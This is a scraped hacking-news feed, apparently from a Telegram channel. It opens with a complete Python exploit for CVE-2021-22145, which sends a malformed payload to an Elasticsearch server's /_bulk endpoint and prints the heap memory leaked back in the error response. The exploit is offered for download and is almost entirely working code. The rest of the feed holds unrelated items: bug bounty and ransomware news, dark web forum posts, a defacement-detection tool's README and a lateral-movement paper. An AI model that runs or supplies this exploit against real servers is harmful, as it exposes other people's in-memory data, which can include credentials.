Exploit Collector
ElasticSearch 7.13.3 Memory Disclosure

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
ElasticSearch version 7.13.3 memory disclosure exploit.

MD5 | 128e0970c644272d608d5ebe1bafc7e5

Download
# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure
# Date: 21/07/2021
# Exploit Author: r0ny
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://github.com/elastic/elasticsearch
# Version: 7.10.0 to 7.13.3
# Tested on: Kali Linux
# CVE : CVE-2021-22145

#/usr/bin/python3

from argparse import ArgumentParser
import requests
from packaging import version
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("\n################################################################################################")
print("###### CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3) ######")
print("###### Exploit by r0ny (https://twitter.com/_r0ny) ######")
print("################################################################################################\n")
parser = ArgumentParser()
parser.add_argument("-u", "--url", dest="url", help="URL of ElasticSearch service")
parser.add_argument("-apikey", "--api-key", dest="api_key", help="API Key Authentication (Base64)", metavar="API", default="")
parser.add_argument("-b", "--basic", dest="basic", help="Basic Authentication (Base64)", default="")
args = parser.parse_args()

if not (args.url):
parser.error('Please input the elasticsearch url. e.g "python3 CVE-2021-22145.py -host http://127.0.0.1:9200"')

#Prepare authentication header
authorization_header = ""
if(args.api_key or args.basic):
authorization_header = "ApiKey " + args.api_key if args.api_key else "Basic " + args.basic

#Check elasticsearch version
r = requests.get(args.url,headers={"Authorization":authorization_header}, verify=False)
try:
es_version = json.loads(r.content)["version"]["number"]
except:
print("# Couldn't connect to " + args.url + ", please verify the url or the authentication token\n")
print("# Server response: " + str(r.content))
exit()

if version.parse(es_version) < version.parse("7.10.0") or version.parse(es_version) > version.parse("7.13.3"):
print("# Elastic Service not vulnerable")
print("# Elastic Service version: " + es_version)
print("# Elastic Service vulnerable versions: 7.10.0 to 7.13.3")
exit()

#Prepare exploitation
payload = "@\n"
vulnerable_endpoint = "/_bulk"
url = args.url + vulnerable_endpoint

#Exploitation
print("# ElasticSearch Version: " + es_version)
print("# Request to " + url+"\n")
r = requests.post(url, data = payload, headers={"content-type":"application/json", "Authorization":authorization_header}, verify=False)

#Read Memory Leak and remove stacktrace

print("$$$$$$$$$$$$$$$$$$$$$$$$$")
print("$$$$$ Memory Leaked $$$$$")
print("$$$$$$$$$$$$$$$$$$$$$$$$$\n")
response = json.loads(r.content)
leak1 = response["error"]["root_cause"][0]["reason"].split("(byte[])\"")[1].split("; line")[0]
leak2 = response["error"]["reason"].split("(byte[])\"")[1].split("; line")[0]
print(leak1+"\n"+leak2)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Realizations of a Beginner Bug Bounty Hunter
https://medium.com/@p3g4sus/realizations-of-a-beginner-bug-bounty-hunter-49d95d07d387?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey there , I am Abhishek aka p3g4sus (don’t let the fancy handle deceive you, am the naivest of all the hunters).Continue reading on Medium » (https://medium.com/@p3g4sus/realizations-of-a-beginner-bug-bounty-hunter-49d95d07d387?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is hackers use RAT only for illegal activities?

INTRODUCTION:

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is Diffie — Hellman key exchange algorithm? and How it works? — in easy words

https://cdn-images-1.medium.com/max/600/1*rkLEkmWSOhxSTIcSbmRmiA.png
Diffie-Hellman Key Exchange Algorithm or Key agreement algorithm is used to generate the same (symmetric) private cryptographic key at…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Kaseya Received The Universal Decryptor For REvil Ransomware Attack. — CyberWorkx

https://cdn-images-1.medium.com/max/600/0*h__sdCLkyMj6dRYH
Kaseya, the MSP who had faced the zero day attack (CVE-2021–30116) on its VSA product and then escalated into the supply chain attack by…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
cafedread.com - An announcement from dread.

https://external-preview.redd.it/VSlBP-bLbsx-Uptzi0eryUFhpm-CZoAuMGPob6ucGjs.jpg?width=640&crop=smart&auto=webp&s=fb0f7647ee368231fbaad1dd4038df9c91628a32 submitted by /u/immabookkryptkeeper
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
No .onion sites loading

Anyone experienced this problem before? I’ve read some people say it’s due to the clock on the computer but that doesn’t seem to fix it. Normal websites load just not .onion

submitted by /u/TexScot
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

In0ri - Defacement Detection With Deep Learning
http://www.kitploit.com/2021/07/in0ri-defacement-detection-with-deep.html

___________________________
@hacking_Attack
@Hacking_Video

In0ri is a defacement detection system utilizing a image-classification convolutional neural network.
Introduction
When monitoring a website, In0ri will periodically take a screenshot (https://www.kitploit.com/search/label/Screenshot) of the website (https://www.kitploit.com/search/label/Website) then put it through a preprocessor that will resize the image down to 250x250px and numericalize the image before passing it onto the classifier. The core of the classifier is a convolutional neural network that is trained to detect the defacement of a website. If the monitored website is indeed, defaced, In0ri will send out warnings via email to the user.
Requirement
Python3 (version >=3.6) Docker Docker-compose
Installation

Cloning the repository
git clone https://github.com/J4FSec/In0ri.git
cd In0ri
Configuring email credentials (https://www.kitploit.com/search/label/Credentials) to send notifications and agent keys from
Edit the file FlaskApp/sendEmail.py EMAIL_ADDRESS = "foo@gmail.com"
EMAIL_PASSWORD = "$uper$ecurePa$$word"
Configure Telegram (https://www.kitploit.com/search/label/Telegram) notification
Edit the file chatbot.py CHAT_ID= 'foo' # Channel ID to send notifications to
TOKEN = 'bar' # Bot token retrieved from @BotFather
Starting In0ri
docker-compose up -d
Usage
There's two ways to deploy and using In0ri: Running off crontab by periodically visiting the url. Internal agent running off the web server
First Method: URL Check
Visit the WebUI on https://:8080/ and click on "Register" then fill in the form and submit it.
Second Method: Internal Agent
Visit the WebUI on https://:8080/ and click on "Register" then fill in the form and submit it. Click on "Create Agent" then fill in the form and check your email for the Agent's key. On the web server that you wants to be monitored by In0ri, download the Agent folder from Github repository Installing the required packages for the internal Agent python3 -m pip install watchdog
python3 -m pip install requests Edit the file config.json in the same folder as agent nano config.json A key is sent to your email after registering the Agent on the WebUI rootPath is the root directory of the web application that you want to be monitored exludePath are the subfolders that you wants excluded from the scans apiServer is the URL to the API server of In0ri serverIP is the IP of the API server of In0ri :8088/checkdeface" } '>{
"id":"01",
"key":"123123123",
"rootPath":"/var/www/html",
"excludePath":"",
"apiServer":"http://:8088/checkdeface"
} And run the Agent: python3 agent.py
References
Model training is handled by Shu (https://github.com/J4FSec/Shu)
Authors
In0ri is built by Echidna (https://www.kitploit.com/search/label/Echidna) with the help of Cu64 and Klone.
Contributing
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Download In0ri (https://github.com/J4FSec/In0ri)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Serial Swatter Who Caused Death Gets Five Years in Prison

https://external-preview.redd.it/FT-JNmsiSHvG9OUScqH7Edwqa0hcBG2j3b5BOZ-I1jg.jpg?width=320&crop=smart&auto=webp&s=387f7b1574ee27e8c6bebd12c3ab524e0f0635c9 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Realizations of a Beginner Bug Bounty Hunter

Hey there , I am Abhishek aka p3g4sus (don’t let the fancy handle deceive you, am the naivest of all the hunters).Continue reading on Medium »
Read more...

In0ri - Defacement Detection With Deep Learning

In0ri is a defacement detection system utilizing a image-classification convolutional neural network. Introduction When monitoring a website, In0ri will periodically take a screenshot of the website then put it through a preprocessor that will resize the image down to 250x250px and numericalize the image before passing it onto the classifier. The core of the classifier is a convolutional neural network that is trained to detect the defacement of a website. If the monitored website is indeed, defaced, In0ri will send out warnings via email to the user.Requirement Python3 (version >=3.6) Docker Docker-compose Installation Cloning the repository git clone https://github.com/J4FSec/In0ri.gitcd In0ri Configuring email credentials to send notifications and agent keys from Edit the file FlaskApp/sendEmail.py EMAIL_ADDRESS = "foo@gmail.com"EMAIL_PASSWORD = "$uper$ecurePa$$word" Configure Telegram notification Edit the file chatbot.py CHAT_ID= 'foo' # Channel ID to send notifications toTOKEN = 'bar' # Bot token retrieved from @BotFather Starting In0ri docker-compose up -d Usage There's two ways to deploy and using In0ri: Running off crontab by periodically visiting the url. Internal agent running off the web server First Method: URL Check Visit the WebUI on https://<serverIP>:8080/ and click on "Register" then fill in the form and submit it. Second Method: Internal Agent Visit the WebUI on https://<serverIP>:8080/ and click on "Register" then fill in the form and submit it. Click on "Create Agent" then fill in the form and check your email for the Agent's key. On the web server that you wants to be monitored by In0ri, download the Agent folder from Github repository Installing the required packages for the internal Agent python3 -m pip install watchdogpython3 -m pip install requests Edit the file config.json in the same folder as agent nano config.json A key is sent to your email after registering the Agent on the WebUI rootPath is the root directory of the web application that you want to be monitored exludePath are the subfolders that you wants excluded from the scans apiServer is the URL to the API server of In0ri serverIP is the IP of the API server of In0ri { "id":"01", "key":"123123123", "rootPath":"/var/www/html", "excludePath":"", "apiServer":"http://<serverIP>:8088/checkdeface"} And run the Agent: python3 agent.py References Model training is handled by Shu Authors In0ri is built by Echidna with the help of Cu64 and Klone. Contributing Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. Download In0ri
Read more...

Modelling and Detecting Lateral Movement
https://www.reddit.com/r/redteamsec/comments/oqciuf/modelling_and_detecting_lateral_movement/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://arxiv.org/pdf/2105.13442.pdf) [comments] (https://www.reddit.com/r/redteamsec/comments/oqciuf/modelling_and_detecting_lateral_movement/)

___________________________
@hacking_Attack
@Hacking_Video